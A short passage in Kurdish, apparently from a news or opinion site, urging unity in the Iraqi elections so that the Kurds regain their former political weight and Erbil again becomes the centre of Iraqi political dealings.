هه‌لبژارتنێن عیراقێ ئێك بگرن داكو كورد سه‌نگا خوه یا جاران ڤه‌گه‌رینه‌ڤه و جاره‌كادى هه‌ولێر ببیته ترافیكا سیاسى یا لایه‌نێن عیراقێ و بێى كوردان چ پێنگاڤ بۆ ده‌ربازكرنا هه‌ر قوناغه‌كێ نه‌هێنه هاڤێتن.
WP Facebook Auto Publish Powered By : XYZScripts.com